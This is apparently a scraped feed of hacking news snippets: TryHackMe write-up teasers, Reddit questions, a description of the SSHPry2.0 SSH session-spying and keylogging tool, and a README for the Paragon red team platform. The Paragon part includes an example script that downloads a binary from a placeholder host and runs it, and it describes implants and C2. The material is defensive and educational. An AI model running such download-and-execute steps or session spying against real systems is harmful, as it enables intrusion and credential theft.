Hacking on Medium
Languages for learn ethical hacking

https://cdn-images-1.medium.com/max/640/1*ESxT3U3u95ftlowqt6Fl0w.jpeg
As shown by the remarkable progress in regenerating positions, battles, APIs, diagrams, programs, and that, we need to use common, basic…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Tryhackme | Lazy Admin

What’s worse than an admin? A lazy admin! This is easy level tryhackme room that exploits bad practices and weak passwords.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Quedtion about Samy kamkar's myspace hack

A lot of you probably know about when he created a bug on myspace and that whole thing. I have been reading up on it but am trying to find images. I have seen two, 1 with his follower count with kick ass and i rule from samy's sight. The other one is a search result that says "samy is my hero" in every result. Does anyone know of anymore pictures as i want to do a project on this and i kinda need more pics. Any help is greatly appreciated

submitted by /u/__babygiraffe__
[link] [comments]

Hacking on Medium
TryHackMe | Anonymous

A TyHackMe room that test’s your Linux skills and escalation skills.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
Offensive Security Tool: SSHPry2.0

https://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Offensive Security Tool: SSHPry2.0Post Views: 11 https://www.blackhatethicalhacking.com/wp-content/uploads/2020/11/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-8-1-300x120.png Reading Time: 3 Minutes
Offensive Security Tool: SSHPry2.0 GitHub Link
SSHPry2.0
This is a second release of SSHPry tool, with multiple features added.
⦿ Control of target’s TTY
⦿ Built-In Keylogger
⦿ Console-Level phishing
⦿ Record & Replay previous sessions
SSHPry v2 – Spy & Control os SSH Connected client’s TTY
SSHPry2.0 is a tool written by nopernik that seamlessly let’s you spy on SSH session like it is your tty. As SSH is one of the most used protocols by hackers and admins when it comes to controlling a Linux machine remotely, the most dangerous part, is when you can spy on that session in real-time, record keystrokes, and even use phishing attacks from within the terminal.
The main purpose of this tool had this question: What if you’ll have a tool that can show you a terminal of active SSH connection? and… maybe… control it? Record it? Investigate?
See Also: Offensive Security Tool: ADFSBrute
Using Attacks like SSH Snooping and RDP Session Hijacking, you know that every *nix user should already know about GNU Screen, especially of its -x multi display mode feature, that allows to observe an attached screen session. Using SSH Snooping attack, you can utilize ‘strace’ to get all process syscalls read/write including root’s password. SSHPry is a script that mirrors a terminal of connected SSH Client.
By combining all these techniques and spawning two separate threads one for echoing ‘strace’ strings to your terminal and second for transferring your standard input to target TTY you get a tool that replicates GNU screen ‘-x’ feature without screen itself with couple more #redteam and #blueteam related cool features.
See Also: Hacking has Evolved
Once you get full control over the session, and you get all strings, you can make some ‘phishing attacks’ in that session, while listening to all strings with ‘strace’, you can get clear-text password of any logged in user, especially root. -Read in more details- Recent Tools* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/04/image1-90x90.png Offensive Security Tool: ADFSBrute1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/04/logo-90x90.png Offensive Security Tool: Hunt2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/04/85207007-711b0b80-b343-11ea-82f3-49aa5d5d719b-90x90.png Offensive Security Tool: CVE Binary Tool by Intel3 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/04/help-1-90x90.png Offensive Security Tool: DirDar4 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/03/intro-90x90.png Information Security Tool: Chameleon1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/03/skipfish_screenshot-90x90.png Offensive Security Tool: Skipfish2 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/03/sparta2-90x90.png Offensive Security Tool: Sparta2 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/02/ScareCrow2-90x90.png Offensive Security Tool: ScareCrow3 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/01/john_the_ripper_bg-90x90.jpg Offensive Security Tool: JTR – John the Ripper3 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/01/shad0w_msf_shad0w-2-90x90.png Offensive Security Tool: Shad0w4 months ago
style="display:block; text-align:center;"
data-a[...]

___________________________
@hacking_Attack
@Hacking_Video

d-layout="in-article"
data-ad-format="fluid"
data-ad-client="ca-pub-6620833063853657"
data-ad-slot="4517761481">
The post Offensive Security Tool: SSHPry2.0 first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Beef_over_wan and python problems

So I have been trying to get beef to hook my phone's browser (my phone is using its own data so it's a wan simulation) I tried every way and nothing seems to work, I downloaded the tool called beef over wan and ngrok however when I try to lunch Beef_over_wan. Py I get an error:

file "/home/parrot/Beef_over_wan/Beef_over_wan. Py line 90 print ' " {old string} " not found in {filename}.'.format(**locals())

SyntaxError:invalid syntax

Any help will be much appreciated cause I'm about to lose my mind 🌿💙

submitted by /u/ammargadeh
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Despite the fact that bug bounty adoption continues on a steady rise and ROI has been clearly…

From years of running bug bounty programs for more of the Fortune 500 than any other crowdsourced security platform, we will address seven…Continue reading on Medium »
Read more...

Hacking on Medium
Behind the scenes of CPU | How a CPU works | Bin exp#3

https://cdn-images-1.medium.com/max/2240/1*ssvMa2sL7DUqKHs5At6XPQ.png
Hi friends, in the last blog I write about the C compilation process in this blog we are going to see about the behind of the process of…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

RSS Torrent Downloads, Category: Books, Torrents type: Most Downloaded. Bittorrent download source!
Guide and Tricks to Hack Wifi Networks - WEP and WPA WiFi network Hacking from Windows, Mac and Android BooksHash}

___________________________
@hacking_Attack
@Hacking_Video

RSS Torrent Downloads, Category: Books, Torrents type: Most Downloaded. Bittorrent download source!
The Cybersecurity Manager's Guide - The Art of Building Your Security Program BooksHash}

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Paragon - Red Team Engagement Platform With The Goal Of Unifying Offensive Tools Behind A Simple UI

https://1.bp.blogspot.com/-HzKzYOfWQZ0/YIxYwSxlrxI/AAAAAAAAWB8/JXKT1X14UVcfjtQrOhqgzVauKvdS5MelgCNcBGAsYHQ/w552-h640/paragon_8_graph.png Paragon is a Red Team engagement platform. It aims to unify offensive tools behind a simple UI, abstracting much of the backend work to enable operators to focus on writing implants and spend less time worrying about databases and css. The repository also provides some offensive tools already integrated with Paragon that can be used during engagements.

This repository is still under heavy development and is not ready for production use. When it is considered stable, a V1.0.0 tag will be released. Until then, the API may encounter breaking changes as we continually simplify our design. Please read the developer documentation below if you'd like to help us reach this milestone faster. Feature Highlights* Easily integrate custom tools to unify operations behind a single interface
* Query the Red Team knowledge graph using a provided GraphQL API
* Event emission for low latency automation and real time processing
* Python-like scripting language for deployments, post-exploitation, and more
* Cross-platform implants & deployment included
* Record operator activity to conviniently aggregate into a post-engagement report for review Getting StartedA quick demonstration instance can be setup by cloning the repository and running docker-compose up. Open 127.0.0.1:80 in your browser to get started!

The utilized images are available on docker-hub, and can be configured from a docker-compose file for a production deployment. Component OverviewScripting LanguageMost components in this repository rely on a Python-like scripting language which enables powerful control and customization of their behaviour. The language is a modified version of Google's starlark, extended with cross-platform functionality for operators. This also enables tools like the agent and dropper (discussed below) to execute tasks without relying on system binaries (curl, bash, etc). All operations are executed as code in Golang, so it's intuitive to add additional functionality to the scripting environment. Here is an example script: # Download a file via https, execute it, and don't keep it as a child process.
load("sys", "request")

new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)

# set new_bin permissions to 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)Reference TeamserverProvides a simple web application and GraphQL API to interface with a Red Team knowledge graph, unifying tools behind a centralized source of truth and abstracting many tedious backend concerns from operators. Integrate your custom tools with the Teamserver (using the GraphQL API or event subscriptions) to save time on the backend work. The Teamserver records all activity, so with all of your tools unified in one place, writing post-engagement reports becomes signficantly easier. Built-In ToolsThe below tools are also included within the repository. They can easily be extended to fit many cross-platform use cases. Dropper* Fully cross-platform
* Statically compile assets into a single binary
* Provides Python-like scripting language for custom deployment configuration

Paragon provides a tool for packaging assets (binaries, scripts, etc.) into a single binary that when executed will execute your custom deployment script that may write assets to the filesystem, launch processes, download files, handle errors, and more. It is fully cross-platform and statically c[...]

___________________________
@hacking_Attack
@Hacking_Video

ompiled, providing reliable deployments. If you wish to extend it's functionality, you may simply extend the generated golang file before compiling. Agent* Fully cross-platform
* Provides Python-like scripting language for post exploitation
* Modular communication mechanisms, only compile in what you need
* Utilize multiple options to ensure reliable callbacks

* Customize how the agent handles communication failures

An implant that executes tasks and reports execution results. It is configured by default to execute tasks using Paragon's Python-like scripting language and to communicate with a C2 via http(s). It is written in Go, and can be quickly modified to add new transport methods (i.e. DNS), execution options, fail over logic, and more. C2* Lightweight deployment
* Highly performant, able to handle thousands of Agents
* Dependent on system resources and available bandwidth

* Distributed service, utilize as many C2s as you'd like

Acts as a middleman between the Agent and the Teamserver. It handles agent callbacks for a variety of communication mechanisms, and provides it with new tasks from the teamserver queue. Runner* Low latency, real time task execution
* Easily extended to add support for more communication mechanisms
* Distributed service, utilize as many runners as you'd like

Instead of waiting for a callback, some situations might require a foward connection to quickly execute a task and view it's output. The runner accomplishes this by subscribing to task queues and establishing a connection to the target machine (i.e. using ssh). This enables shell-like integrations to utilize the same interface as implants and C2s. It also allows for initial implant deployment to be conducted through this interface. Scanner* Monitor reachable target services
* Automate responses when services become (un)available
* Provide network information to the knowledge graph, which may be utilized by other tools
* Distributed service, utilize as many scanners as you'd like

Monitor target network activity and visible services. Map out a graph of the engagement network, and trigger automation on state changes (i.e. ssh becomes available). FAQWhat if machines report the same UUID?Setting the PG_KS_MachineUUIDkillswitch environment variable for the teamserver will disable lookups that utilize machine UUIDs. TerminologyTo ensure clear communication about these complex systems, we have outlined a few project-specific terms below that will be used throughout the project's documentation. ImplantAny malicious software that will be run on compromised systems during the engagement. TaskDesired operations to be executed on a specific compromised system. Tasks provide execution instructions to implants, however their syntax / structure can be completely specific to a tool. AgentAn Implant that receives tasks from the teamserver, executes them, and reports their results. An extensible default implementation is included with this repository, which requires that tasks be provided as scripts written using the project's Python-like DSL. JobRequests that the Teamserver perform a set of given operations. Upon creating a job, the instructions will be saved but not executed. The user may request that the Teamserver execute a job zero or more times by queuing the job and providing the required parameters to it. Jobs may never be updated, but new versions of jobs can be created to avoid excessive copy-paste.

A common use-case for a Job is when the user wishes to execute a script on a few Targets. The user creates a job, which instructs the teamserver to create tasks with the provided content, but leaves the desired target machines as a parameter. When the job is queued, the user provides a list of target machines as a parameter, and the Teamserver will create a task for each machine. Developer GuideBelow serves as an initial[...]

___________________________
@hacking_Attack
@Hacking_Video